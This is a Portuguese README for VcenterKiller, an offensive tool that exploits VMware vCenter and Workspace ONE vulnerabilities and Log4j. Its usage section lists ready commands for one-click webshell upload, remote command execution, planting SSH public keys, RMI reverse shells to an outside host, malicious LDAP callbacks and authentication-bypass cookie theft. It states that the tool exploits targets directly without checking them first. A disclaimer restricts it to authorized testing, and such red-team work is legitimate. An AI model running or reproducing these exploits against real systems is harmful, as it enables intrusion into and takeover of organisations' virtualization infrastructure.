VcenterKiller

-1. Nota

Pessoal que montar um ambiente de vulnerabilidade localmente, ao usar vckiller para verificar o log4j, geralmente falhará, porque no ambiente VMware com modo NAT, a placa de rede de saída no módulo de verificação será identificada como 127.0.0.1, fazendo com que o endereço do servidor LDAP que o alvo acessa se torne 127.0.0.1, e a verificação falha 😏

0. Obrigatório

Se encontrar um bug, por favor abra uma issue. Esta ferramenta foi criada apenas para conveniência, não tem nada de sofisticado.

1. O que é

Uma ferramenta de verificação abrangente para Vcenter, incluindo os CVEs mais populares: CVE-2021-21972, CVE-2021-21985 e CVE-2021-22005. Oferece funcionalidades de upload de webshell com um clique, execução de comandos ou upload de chave pública e conexão SSH. Também detecta e explora a vulnerabilidade Apache Log4j CVE-2021-44228 no Vcenter, como execução de comandos com retorno de saída (precisa de um servidor LDAP malicioso). Agora não é mais necessário iniciar um servidor LDAP separado; criei um método de exploração baseado na ferramenta jndi-injection. O middleware usado pelo Vcenter é Tomcat, então basta usar a cadeia de exploração TomcatBypass.

2. Seu posicionamento

Geralmente, Vcenters ficam em redes internas e as características das vulnerabilidades são bem conhecidas. Ferramentas como fscan escaneiam e encontram facilmente. Portanto, VcenterKiller não verifica se o alvo possui a vulnerabilidade, mas tenta explorá-la diretamente. Normalmente é executado via CS/MSF em um servidor de salto, então removi saídas desnecessárias.

Por que Go? Porque Python é fácil de escrever, mas problemático de usar: muitas dependências e o binário compilado é grande. C# não é multiplataforma, então descartei.

3. Como usar

go build -o main.exe

./main.exe -u https://192.168.1.1 -m 21985 -c whoami
./main.exe -u https://192.168.1.1 -m 22005 -f test.jsp
./main.exe -u https://192.168.1.1 -m 21972 -f test.jsp
./main.exe -u https://192.168.1.1 -m 21972 -f id_rsa.pub -t ssh // enviar chave pública
./main.exe -u https://192.168.1.1 -m 21985 -t rshell -r rmi://xx.xx.xx.xx:1099/xx
./main.exe -u https://192.168.1.1 -m log4center -t scan // escanear log4j
./main.exe -u https://192.168.1.1 -m log4center -t exec -r ldap://xx.xx.xx.xx:1389 -c whoami // também pode não especificar servidor ldap
./main.exe -u https://xx.xx.com -m 22954 whoami
./main.exe -u https://xx.xx.com -m 22972 // obter cookie
./main.exe -u https://xx.xx.com -m 31656 // Se CVE-2022-22972 não funcionar, tente CVE-2022-31656

4. Aviso legal

Esta ferramenta é destinada exclusivamente a atividades de segurança corporativa legalmente autorizadas, como treinamentos internos de ataque e defesa, verificação e re-teste de vulnerabilidades. Se você precisar testar a usabilidade da ferramenta, monte seu próprio ambiente de alvo.

Ao usar esta ferramenta para testes, você deve garantir que essa ação esteja em conformidade com as leis locais e que obteve autorização suficiente. Não use contra alvos não autorizados.

Se você realizar qualquer ação ilegal ao usar esta ferramenta, você assumirá as consequências correspondentes. Não nos responsabilizaremos por quaisquer danos legais ou conexos.

5. Registro de alterações

V1.0 Lançamento
V1.1 Adicionada funcionalidade de shell reverso RMI para CVE-2021-21985, desde que você inicie um servidor RMI, como o jndi-injection-exploit.
V1.2 Adicionada capacidade de detecção e verificação de log4j para Vcenter
V1.3 Adicionada funcionalidade de verificação de vulnerabilidades para Vmware WorkSpace One Access, incluindo CVE-2022-22954 Execução remota de comandos; CVE-2022-22972 e CVE-2022-31656 Bypass de autenticação.
V1.3.1 Corrigido problema em que a porta era ignorada ao detectar log4j – alguns serviços alteram a porta padrão 443.
V1.3.2 Modificado o método de exploração do log4j: usa tomcatbypassEcho para executar comandos e obter retorno de saída. Testado no Vcenter 7.0 Linux.
V1.3.3 Adicionada diferenciação entre versões 6.7 e 7.0: a 7.0 deve usar tomcatbypass, enquanto a 6.7 pode usar o básico normal.
V1.3.4 Alterada a lógica de verificação do log4j: agora são 5 ciclos com diferentes payloads indiscriminadamente; se houver retorno, ótimo, senão não.
V1.3.5 Eliminada a dependência do Jndi-Injection-Exploit para log4j, permitindo execução direta de comandos com retorno de saída.
V1.3.6 Modificada a funcionalidade SSH para 21972 e otimizados outros detalhes.
V1.3.7 Adicionada funcionalidade de proxy, suporte a http e socks.
V1.3.8 Ainda não começou – considerando adicionar novas funcionalidades...
...